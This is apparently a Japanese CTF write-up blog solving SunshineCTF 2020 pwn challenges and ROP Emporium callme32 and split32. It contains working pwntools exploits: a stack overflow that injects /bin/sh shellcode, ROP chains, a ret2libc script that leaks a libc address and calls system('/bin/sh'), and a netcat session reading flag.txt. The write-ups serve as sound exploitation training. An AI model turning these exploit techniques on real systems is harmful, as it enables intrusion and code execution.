   0x00000000000007cb <+177>:   ret    
End of assembler dump.

2回目の入力の前にアドレスrbp-0x46が表示される.
vulnfgetsは入力をrbp-0x46からの領域に格納するが, 0x5a文字書き込めるためBOFが起きる. また, rbp-0x3crbp-0x4の値が0xfacadeでないとexitが実行され終了してしまう.
0xa(=0x46-0x3c)文字後に0xfacadeとシェルコードを置く. リターンアドレスを, 表示されるアドレス+0x12(=0xa+0x8)に書き換えるとリターン時にシェルコードが実行される.

from pwn import *

# p=process('./chall_15')
p=remote('chal.2020.sunshinectf.org',30015)
e=ELF('./chall_15')

# http://shell-storm.org/shellcode/files/shellcode-806.php
shellcode=b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"

p.sendline()
p.recvuntil(': ')
buf=int(p.recv(14)[2:],16)+18

payload=b'A'*10
payload+=p64(0xfacade)
payload+=shellcode
payload+=b'A'*(0x46+0x8-len(payload))
payload+=p64(buf)

p.sendline(payload)
p.interactive()

flag: sun{bat-country-53036e8a423559df}

16 (44 Pts)

長いのでGhidraでデコンパイル

void main(void)

{
    size_t sVar1;
    size_t sVar2;
    long in_FS_OFFSET;
    int local_60;
    char local_58 [56];
    long local_20;
    
    local_20 = *(long *)(in_FS_OFFSET + 0x28);
    fgets(local_58,0x31,stdin);
    sVar1 = strlen(local_58);
    sVar2 = strlen(key);
    if (sVar1 == sVar2) {
        local_60 = 0;
        while( true ) {
        sVar1 = strlen(key);
        if (sVar1 <= (ulong)(long)local_60) break;
        if (local_58[local_60] != key[local_60]) {
                        /* WARNING: Subroutine does notreturn */
            exit(0);
        }
        local_60 = local_60 + 1;
        }
        system("/bin/sh");
    }
    if (local_20 != *(long *)(in_FS_OFFSET +0x28)) {
                        /* WARNING: Subroutine does notreturn */
        __stack_chk_fail();
    }
    return;
}

keyであるQueue epic guitar solo *syn starts shredding*を入力するとシェルが起動する.

$ nc chal.2020.sunshinectf.org 30016
Queue epic guitar solo *syn starts shredding*
ls
chall_16
flag.txt
cat flag.txt
sun{beast-and-the-harlot-73058b6d2812c771}
exit

flag: sun{beast-and-the-harlot-73058b6d2812c771}

17 (46 Pts)

gdb-peda$ disas main
Dump of assembler code for function main:
   0x00000000000009b9 <+0>:     push   rbp
   0x00000000000009ba <+1>:     mov    rbp,rsp
   0x00000000000009bd <+4>:     sub    rsp,0x10
   0x00000000000009c1 <+8>:     mov    rax,QWORD PTR fs:0x28
   0x00000000000009ca <+17>:    mov    QWORD PTR [rbp-0x8],rax
   0x00000000000009ce <+21>:    xor    eax,eax
   0x00000000000009d0 <+23>:    mov    edi,0x0
   0x00000000000009d5 <+28>:    call   0x7f0 <time@plt>
   0x00000000000009da <+33>:    mov    edi,eax
   0x00000000000009dc <+35>:    call   0x7e0 <srand@plt>
   0x00000000000009e1 <+40>:    call   0x830 <rand@plt>
   0x00000000000009e6 <+45>:    mov    DWORD PTR [rbp-0xc],eax
   0x00000000000009e9 <+48>:    lea    rax,[rbp-0x10]
   0x00000000000009ed <+52>:    mov    rsi,rax
   0x00000000000009f0 <+55>:    lea    rdi,[rip+0xf3]        # 0xaea
   0x00000000000009f7 <+62>:    mov    eax,0x0
   0x00000000000009fc <+67>:    call   0x810 <__isoc99_scanf@plt>
   0x0000000000000a01 <+72>:    mov    eax,DWORD PTR [rbp-0x10]
   0x0000000000000a04 <+75>:    cmp    DWORD PTR [rbp-0xc],eax
   0x0000000000000a07 <+78>:    jne    0xa10 <main+87>
   0x0000000000000a09 <+80>:    call   0x95a <win>
   0x0000000000000a0e <+85>:    jmp    0xa29 <main+112>
   0x0000000000000a10 <+87>:    mov    eax,DWORD PTR [rbp-0x10]
   0x0000000000000a13 <+90>:    mov    edx,DWORD PTR [rbp-0xc]
   0x0000000000000a16 <+93>:    mov    esi,eax
   0x0000000000000a18 <+95>:    lea    rdi,[rip+0xce]        # 0xaed
   0x0000000000000a1f <+102>:   mov    eax,0x0
   0x0000000000000a24 <+107>:   call   0x7c0 <printf@plt>
   0x0000000000000a29 <+112>:   nop
   0x0000000000000a2a <+113>:   mov    rax,QWORD PTR [rbp-0x8]
   0x0000000000000a2e <+117>:   xor    rax,QWORD PTR fs:0x28
   0x0000000000000a37 <+126>:   je     0xa3e <main+133>
   0x0000000000000a39 <+128>:   call   0x7b0 <__stack_chk_fail@plt>
   0x0000000000000a3e <+133>:   leave  
   0x0000000000000a3f <+134>:   ret    
End of assembler dump.

入力した数字がrandで生成されたランダムな整数と一致するとwinが実行されフラグが表示される. 一致しない場合は, 生成された整数が表示される.
srandに同じ引数を与えるとrandは同じ値を返す. ここではsrandの引数にはtimeで取得した現在時刻が与えられる.
スクリプトで処理することで同じ値を生成させる. 1回目で生成された整数を取得し, 2回目でその整数を入力する.

from pwn import *

# p=process('./chall_17')
p=remote('chal.2020.sunshinectf.org',30017)
p.sendline(str(0))
num=p.recv().split(b'\n')[1][len("Expected: "):]
print(num)
# p.kill()

# p=process('./chall_17')
p=remote('chal.2020.sunshinectf.org',30017)
p.sendline(num)
print(p.recv())

flag: sun{unholy-confessions-b74c1ed1f1d486fe}

ROP Emporium callme (32bit)

ROP Emporium


ROP Emporium
ROPの練習サイトです.
2020年7月に更新されていろいろ変わってるみたい.

callme (32bit)


$ ./callme32 
callme by ROP Emporium
x86

Hope you read the instructions...

> aaaa
Thank you!

Exiting
$ ./callme32 
callme by ROP Emporium
x86

Hope you read the instructions...

> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Thank you!

Exiting
Segmentation fault

gdbで解析していきます.

$ gdb ./callme32
gdb-peda$ i func
All defined functions:

Non-debugging symbols:
0x0804848c  _init
0x080484c0  read@plt
0x080484d0  printf@plt
0x080484e0  callme_three@plt
0x080484f0  callme_one@plt
0x08048500  puts@plt
0x08048510  exit@plt
0x08048520  __libc_start_main@plt
0x08048530  setvbuf@plt
0x08048540  memset@plt
0x08048550  callme_two@plt
0x08048560  __gmon_start__@plt
0x08048570  _start
0x080485b0  _dl_relocate_static_pie
0x080485c0  __x86.get_pc_thunk.bx
0x080485d0  deregister_tm_clones
0x08048610  register_tm_clones
0x08048650  __do_global_dtors_aux
0x08048680  frame_dummy
0x08048686  main
0x080486ed  pwnme
0x0804874f  usefulFunction
0x080487a0  __libc_csu_init
0x08048800  __libc_csu_fini
0x08048804  _fini

usefulFunctionを見てみます.

gdb-peda$ disas usefulFunction 
Dump of assembler code for function usefulFunction:
   0x0804874f <+0>:     push   ebp
   0x08048750 <+1>:     mov    ebp,esp
   0x08048752 <+3>:     sub    esp,0x8
   0x08048755 <+6>:     sub    esp,0x4
   0x08048758 <+9>:     push   0x6
   0x0804875a <+11>:    push   0x5
   0x0804875c <+13>:    push   0x4
   0x0804875e <+15>:    call   0x80484e0 <callme_three@plt>
   0x08048763 <+20>:    add    esp,0x10
   0x08048766 <+23>:    sub    esp,0x4
   0x08048769 <+26>:    push   0x6
   0x0804876b <+28>:    push   0x5
   0x0804876d <+30>:    push   0x4
   0x0804876f <+32>:    call   0x8048550 <callme_two@plt>
   0x08048774 <+37>:    add    esp,0x10
   0x08048777 <+40>:    sub    esp,0x4
   0x0804877a <+43>:    push   0x6
   0x0804877c <+45>:    push   0x5
   0x0804877e <+47>:    push   0x4
   0x08048780 <+49>:    call   0x80484f0 <callme_one@plt>
   0x08048785 <+54>:    add    esp,0x10
   0x08048788 <+57>:    sub    esp,0xc
   0x0804878b <+60>:    push   0x1
   0x0804878d <+62>:    call   0x8048510 <exit@plt>
End of assembler dump.

callme_one, callme_two, callme_threeが呼ばれています. 引数が3つ必要みたいで4,5,6が指定されています.
プログラムを走らせてcallme_oneを見てみます.

gdb-peda$ start
gdb-peda$ disas callme_one
Dump of assembler code for function callme_one:
   0xf7fca63d <+0>:     push   ebp
   0xf7fca63e <+1>:     mov    ebp,esp
   0xf7fca640 <+3>:     push   ebx
   0xf7fca641 <+4>:     sub    esp,0x14
   0xf7fca644 <+7>:     call   0xf7fca540 <__x86.get_pc_thunk.bx>
   0xf7fca649 <+12>:    add    ebx,0x19b7
   0xf7fca64f <+18>:    cmp    DWORD PTR [ebp+0x8],0xdeadbeef
   0xf7fca656 <+25>:    jne    0xf7fca733 <callme_one+246>
   0xf7fca65c <+31>:    cmp    DWORD PTR [ebp+0xc],0xcafebabe
   0xf7fca663 <+38>:    jne    0xf7fca733 <callme_one+246>
   0xf7fca669 <+44>:    cmp    DWORD PTR [ebp+0x10],0xd00df00d
   0xf7fca670 <+51>:    jne    0xf7fca733 <callme_one+246>
   0xf7fca676 <+57>:    mov    DWORD PTR [ebp-0xc],0x0
   0xf7fca67d <+64>:    sub    esp,0x8
   0xf7fca680 <+67>:    lea    eax,[ebx-0x1600]
   0xf7fca686 <+73>:    push   eax
   0xf7fca687 <+74>:    lea    eax,[ebx-0x15fe]
   0xf7fca68d <+80>:    push   eax
   0xf7fca68e <+81>:    call   0xf7fca510 <fopen@plt>
   0xf7fca693 <+86>:    add    esp,0x10
   0xf7fca696 <+89>:    mov    DWORD PTR [ebp-0xc],eax
   0xf7fca699 <+92>:    cmp    DWORD PTR [ebp-0xc],0x0
   0xf7fca69d <+96>:    jne    0xf7fca6bb <callme_one+126>
   0xf7fca69f <+98>:    sub    esp,0xc
   0xf7fca6a2 <+101>:   lea    eax,[ebx-0x15e8]
   0xf7fca6a8 <+107>:   push   eax
   0xf7fca6a9 <+108>:   call   0xf7fca4f0 <puts@plt>
   0xf7fca6ae <+113>:   add    esp,0x10
   0xf7fca6b1 <+116>:   sub    esp,0xc
   0xf7fca6b4 <+119>:   push   0x1
   0xf7fca6b6 <+121>:   call   0xf7fca500 <exit@plt>
   0xf7fca6bb <+126>:   sub    esp,0xc
   0xf7fca6be <+129>:   push   0x21
   0xf7fca6c0 <+131>:   call   0xf7fca4e0 <malloc@plt>
   0xf7fca6c5 <+136>:   add    esp,0x10
   0xf7fca6c8 <+139>:   mov    DWORD PTR [ebx+0x30],eax
   0xf7fca6ce <+145>:   mov    eax,DWORD PTR [ebx+0x30]
   0xf7fca6d4 <+151>:   test   eax,eax
   0xf7fca6d6 <+153>:   jne    0xf7fca6f4 <callme_one+183>
   0xf7fca6d8 <+155>:   sub    esp,0xc
   0xf7fca6db <+158>:   lea    eax,[ebx-0x15c6]
   0xf7fca6e1 <+164>:   push   eax
   0xf7fca6e2 <+165>:   call   0xf7fca4f0 <puts@plt>
   0xf7fca6e7 <+170>:   add    esp,0x10
   0xf7fca6ea <+173>:   sub    esp,0xc
   0xf7fca6ed <+176>:   push   0x1
   0xf7fca6ef <+178>:   call   0xf7fca500 <exit@plt>
   0xf7fca6f4 <+183>:   mov    eax,DWORD PTR [ebx+0x30]
   0xf7fca6fa <+189>:   sub    esp,0x4
   0xf7fca6fd <+192>:   push   DWORD PTR [ebp-0xc]
   0xf7fca700 <+195>:   push   0x21
   0xf7fca702 <+197>:   push   eax
   0xf7fca703 <+198>:   call   0xf7fca4c0 <fgets@plt>
   0xf7fca708 <+203>:   add    esp,0x10
   0xf7fca70b <+206>:   mov    DWORD PTR [ebx+0x30],eax
   0xf7fca711 <+212>:   sub    esp,0xc
   0xf7fca714 <+215>:   push   DWORD PTR [ebp-0xc]
   0xf7fca717 <+218>:   call   0xf7fca4d0 <fclose@plt>
   0xf7fca71c <+223>:   add    esp,0x10
   0xf7fca71f <+226>:   sub    esp,0xc
   0xf7fca722 <+229>:   lea    eax,[ebx-0x15ac]
   0xf7fca728 <+235>:   push   eax
   0xf7fca729 <+236>:   call   0xf7fca4f0 <puts@plt>
   0xf7fca72e <+241>:   add    esp,0x10
   0xf7fca731 <+244>:   jmp    0xf7fca74f <callme_one+274>
   0xf7fca733 <+246>:   sub    esp,0xc
   0xf7fca736 <+249>:   lea    eax,[ebx-0x158e]
   0xf7fca73c <+255>:   push   eax
   0xf7fca73d <+256>:   call   0xf7fca4f0 <puts@plt>
   0xf7fca742 <+261>:   add    esp,0x10
   0xf7fca745 <+264>:   sub    esp,0xc
   0xf7fca748 <+267>:   push   0x1
   0xf7fca74a <+269>:   call   0xf7fca500 <exit@plt>
   0xf7fca74f <+274>:   nop
   0xf7fca750 <+275>:   mov    ebx,DWORD PTR [ebp-0x4]
   0xf7fca753 <+278>:   leave  
   0xf7fca754 <+279>:   ret    
End of assembler dump.

第1引数が0xdeadbeef, 第2引数が0xcafebabe, 第3引数が0xd00df00dでないとダメみたいです. その後, fopenが呼ばれています.
callme_two, callme_threecallme_oneと同様に引数のチェックが行われ, fopenが呼ばれています.
ここにあるように適切な引数でcallme_one, callme_two, callme_threeの順に呼び出せばよさそうです.
mainpwnmeret2winと同じで, pwnmeバッファオーバーフローが起こります. offsetは44.
関数を順番に実行するにはリターンアドレスを次に実行する関数のアドレスにすればいいですが, 引数の配置が悪く実行できません. そこで引数をpopしてからretすることで次の関数を実行できます. ここでは3つの引数があるのでpopを3回してからretします.

gdb-peda$ ropgadget
ret = 0x8048496
popret = 0x80484ad
pop2ret = 0x80487fa
pop3ret = 0x80487f9
pop4ret = 0x80487f8
addesp_12 = 0x80484aa
addesp_16 = 0x80485f2

0x80487f9にとばせばpopを3回してからretしてくれます.

+--------------------+
|        AAAA        |
+--------------------+
|   callme_one@plt   |
+--------------------+
|       pop3ret      |
+--------------------+
|     0xdeadbeef     |
+--------------------+
|     0xcafebabe     |
+--------------------+
|     0xd00df00d     |
+--------------------+
|   callme_two@plt   |
+--------------------+
|       pop3ret      |
+--------------------+
|     0xdeadbeef     |
+--------------------+
|     0xcafebabe     |
+--------------------+
|     0xd00df00d     |
+--------------------+
|  callme_three@plt  |
+--------------------+
|       pop3ret      |
+--------------------+
|     0xdeadbeef     |
+--------------------+
|     0xcafebabe     |
+--------------------+
|     0xd00df00d     |
+--------------------+

スクリプトを書いた.

from pwn import *

p=process('./callme32')
e=ELF('./callme32')

callme_one_plt=e.plt['callme_one']
callme_two_plt=e.plt['callme_two']
callme_three_plt=e.plt['callme_three']
pop3ret=0x80487f9
arg1=0xdeadbeef
arg2=0xcafebabe
arg3=0xd00df00d

payload=b'A'*44
payload+=p32(callme_one_plt)
payload+=p32(pop3ret)
payload+=p32(arg1)
payload+=p32(arg2)
payload+=p32(arg3)
payload+=p32(callme_two_plt)
payload+=p32(pop3ret)
payload+=p32(arg1)
payload+=p32(arg2)
payload+=p32(arg3)
payload+=p32(callme_three_plt)
payload+=p32(pop3ret)
payload+=p32(arg1)
payload+=p32(arg2)
payload+=p32(arg3)

p.recv()
p.sendline(payload)
print(p.recvall().decode())

別解


シェルの起動を目指します.
GOT領域に存在するlibc内の関数のアドレスをリークしてそれをもとに各関数のアドレスを計算します.
libc内での各関数のアドレスを調べます. また, /bin/shが必要なのでそのアドレスも調べます.

$ ldd ./callme32 
        linux-gate.so.1 (0xf7f92000)
        libcallme32.so => ./libcallme32.so (0xf7f8a000)
        libc.so.6 => /lib32/libc.so.6 (0xf7d8c000)
        /lib/ld-linux.so.2 (0xf7f93000)
$ nm -D /lib32/libc.so.6 | grep system
00044f00 T __libc_system
001344e0 T svcerr_systemerr
00044f00 W system
$ nm -D /lib32/libc.so.6 | grep puts
0006eae0 T _IO_fputs
00070320 T _IO_puts
0006eae0 W fputs
00079a70 W fputs_unlocked
00070320 W puts
0010afb0 T putsgent
001093a0 T putspent
$ strings -tx /lib32/libc.so.6 | grep /bin/sh
 18c32b /bin/sh

やることは以下の通りです.

  • puts関数でputsのGOTアドレスをリーク
  • mainに戻る
  • リークしたアドレスをもとに関数と引数のアドレスを計算
  • system("/bin/sh")を実行
from pwn import *

p=process('./callme32')

e=ELF('./callme32')
puts_plt=e.plt['puts']
puts_got=e.got['puts']
main=e.symbols['main']
pop_ret=0x80484ad
system_libc=0x00044f00
puts_libc=0x00070320
arg_libc=0x18c32b

payload=b'A'*44
payload+=p32(puts_plt)
payload+=p32(pop_ret)
payload+=p32(puts_got)
payload+=p32(main)

p.recv()
p.sendline(payload)

p.recvuntil('Thank you!\n')
libc=u32(p.recv(4))-puts_libc
system=libc+system_libc
arg=libc+arg_libc
print(hex(libc))

payload=b'A'*44
payload+=p32(system)
payload+=b'BBBB'
payload+=p32(arg)

p.recv()
p.sendline(payload)
p.interactive()

ROP Emporium split (32bit)

ROP Emporium


ROP Emporium
ROPの練習サイトです.
2020年7月に更新されていろいろ変わってるみたい.

split (32bit)


$ ./split32 
split by ROP Emporium
x86

Contriving a reason to ask user for data...
> aaaa
Thank you!

Exiting
$ ./split32 
split by ROP Emporium
x86

Contriving a reason to ask user for data...
> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Thank you!
Segmentation fault

gdbで解析していきます.

$ gdb ./split32
gdb-peda$ i func
All defined functions:

Non-debugging symbols:
0x08048374  _init
0x080483b0  read@plt
0x080483c0  printf@plt
0x080483d0  puts@plt
0x080483e0  system@plt
0x080483f0  __libc_start_main@plt
0x08048400  setvbuf@plt
0x08048410  memset@plt
0x08048420  __gmon_start__@plt
0x08048430  _start
0x08048470  _dl_relocate_static_pie
0x08048480  __x86.get_pc_thunk.bx
0x08048490  deregister_tm_clones
0x080484d0  register_tm_clones
0x08048510  __do_global_dtors_aux
0x08048540  frame_dummy
0x08048546  main
0x080485ad  pwnme
0x0804860c  usefulFunction
0x08048630  __libc_csu_init
0x08048690  __libc_c

usefulFunctionを見てみます.

gdb-peda$ disas usefulFunction 
Dump of assembler code for function usefulFunction:
   0x0804860c <+0>:     push   ebp
   0x0804860d <+1>:     mov    ebp,esp
   0x0804860f <+3>:     sub    esp,0x8
   0x08048612 <+6>:     sub    esp,0xc
   0x08048615 <+9>:     push   0x804870e
   0x0804861a <+14>:    call   0x80483e0 <system@plt>
   0x0804861f <+19>:    add    esp,0x10
   0x08048622 <+22>:    nop
   0x08048623 <+23>:    leave  
   0x08048624 <+24>:    ret    
End of assembler dump.
gdb-peda$ x/s 0x804870e
0x804870e:      "/bin/ls"

system("/bin/ls")するだけ.
他のシンボルを調べます.

gdb-peda$ i var
All defined variables:

Non-debugging symbols:
0x080486a8  _fp_hw
0x080486ac  _IO_stdin_used
0x08048718  __GNU_EH_FRAME_HDR
0x08048894  __FRAME_END__
0x08049f0c  __frame_dummy_init_array_entry
0x08049f0c  __init_array_start
0x08049f10  __do_global_dtors_aux_fini_array_entry
0x08049f10  __init_array_end
0x08049f14  _DYNAMIC
0x0804a000  _GLOBAL_OFFSET_TABLE_
0x0804a028  __data_start
0x0804a028  data_start
0x0804a02c  __dso_handle
0x0804a030  usefulString
0x0804a042  __bss_start
0x0804a042  _edata
0x0804a044  __TMC_END__
0x0804a044  stdout
0x0804a044  stdout@@GLIBC_2.0
0x0804a048  completed
0x0804a04c  _end

usefulStringを見てみます.

gdb-peda$ x/s 0x0804a030
0x804a030 <usefulString>:       "/bin/cat flag.txt"

使えそうな文字列です.
mainpwnmeret2winと同じ. pwnmeバッファオーバーフローが起こる. offsetは44.
ということでリターンアドレスを書き換えてsystem("/bin/cat flag.txt")を実行します.

+--------------------+
|        AAAA        |
+--------------------+
|     system@plt     |
+--------------------+
|        BBBB        |
+--------------------+
|    usefulString    |
+--------------------+

(今回も必要ない気がするけど)スクリプトを書いた.

from pwn import *

p=process('./split32')
e=ELF('./split32')

plt_system=e.plt['system']
usefulString=e.symbols['usefulString']

payload=b'A'*44
payload+=p32(plt_system)
payload+=b'BBBB'
payload+=p32(usefulString)

p.recv()
p.sendline(payload)
print(p.recvall().decode())